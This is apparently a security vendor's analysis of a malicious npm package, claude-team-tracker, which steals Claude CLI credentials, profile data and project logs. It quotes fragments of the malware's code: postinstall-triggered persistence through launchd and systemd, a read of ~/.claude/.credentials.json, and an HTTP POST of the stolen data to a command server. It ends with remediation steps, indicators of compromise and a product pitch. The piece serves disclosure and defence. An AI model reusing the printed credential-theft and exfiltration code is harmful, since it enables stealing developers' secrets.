npm Package claude-team-tracker Steals Claude API Keys and PII

The npm package claude-team-tracker presents itself as a utility for tracking Anthropic Claude API usage. In reality, it is a targeted info-stealer designed to compromise developers using Anthropic's services. The package steals credentials, exfiltrates personal and project data, and establishes persistence on the infected host.

This malware is a clear example of a supply-chain attack targeting developers by masquerading as a useful tool. Once installed, it immediately begins harvesting sensitive information from the local system and sending it to a remote server.

Entry Point and Persistence

The malicious behavior is triggered immediately upon installation by a postinstall script defined in the package's package.json. This script executes bin/postinstall.js, which in turn runs lib/setup.js to establish a persistent presence on the host.

The malware uses platform-specific methods to ensure it runs continuously. On macOS, it creates launchd agents, and on Linux, it sets up systemd services and cron jobs.

A code snippet from lib/setup.js shows the launchd persistence mechanism on macOS:

// lib/setup.js:119
execSync(`launchctl load "${plistPath}"`);

And the corresponding systemd setup on Linux:

// lib/setup.js:70
execSync(`systemctl --user enable claude-team-tracker`);

Credential and PII Theft

The malware's primary goal is to steal the developer's Anthropic Claude credentials. It specifically targets the official CLI's credentials file stored in the user's home directory.

// lib/rate-limits.js:28
const CREDENTIALS_PATH = path.join(os.homedir(), '.claude', '.credentials.json');

// lib/rate-limits.js:40
const creds = JSON.parse(fs.readFileSync(CREDENTIALS_PATH, 'utf8'));

After stealing the OAuth access token, the malware uses it to query Anthropic's API and retrieve the user's personal information, including their email, full name, and organization details.

// lib/rate-limits.js:101
const j = await httpsGet(PROFILE_ENDPOINT, token);

Project Data Harvesting

Beyond credentials and PII, the malware also harvests detailed information about the developer's projects. It scans the ~/.claude/projects directory for .jsonl log files, which contain records of API usage. It also inspects the associated project directories to identify the current git branch, giving the attacker context about the developer's work-in-progress.

// lib/scanner.js:101
spawnSync('git', ['-C', dir, 'branch', '--show-current'])

Data Exfiltration

All the stolen information—the API key, user profile, project paths, git branches, and usage logs—is compiled into a single JSON object. This data is then exfiltrated via an HTTP POST request to a hardcoded command-and-control (C2) server.

The payload is constructed and sent in lib/reporter.js:

// lib/reporter.js:19
const payload = {
    api_key: config.api_key,
    hostname: os.hostname(),
    machine_id: getMachineId(),
    daily_usage: dailyUsage,
    sessions: sessions,
    profile: profile,
};

// lib/reporter.js:36
const res = await axios.post(`${config.server_url}/api/report`, payload, ...)

The C2 server URL is hardcoded to hxxps[://]tracker[.]clawodoo[.]com.

Remediation

# Uninstall the npm package
npm uninstall claude-team-tracker

# Stop and remove persistence on macOS
launchctl unload ~/Library/LaunchAgents/com.claudetracker.plist
launchctl unload ~/Library/LaunchAgents/com.claudetracker.poll.plist
rm ~/Library/LaunchAgents/com.claudetracker.plist
rm ~/Library/LaunchAgents/com.claudetracker.poll.plist

# Stop and remove persistence on Linux
systemctl --user stop claude-team-tracker.service
systemctl --user disable claude-team-tracker.service
rm ~/.config/systemd/user/claude-team-tracker.service

# Check for and remove cron jobs if present

cyrokai catches packages like this before they ever reach a developer's machine: its scanners flag and block the malicious install hook in CI and at install time, Teams on the cyrokai platform are protected from this info-stealer without having to clean up after it.

Takeaways

• This is a highly targeted attack against developers using a specific, popular AI service.
• The malware abuses the trust placed in official tooling by reading locally stored credentials from a known file path.
• The use of a postinstall script remains a common and effective infection vector for malicious npm packages.
• By establishing persistence, the malware ensures continued access to the developer's machine, allowing for long-term data theft.

Indicators of Compromise

Packages

• claude-team-tracker@1.2.1

Network

• tracker[.]clawodoo[.]com

Host Artifacts

• ~/.claude/.credentials.json (read)
• ~/.claude/projects/**/*.jsonl (read)
• ~/.config/systemd/user/claude-team-tracker.service (created on Linux)
• ~/Library/LaunchAgents/com.claudetracker.plist (created on macOS)
• ~/Library/LaunchAgents/com.claudetracker.poll.plist (created on macOS)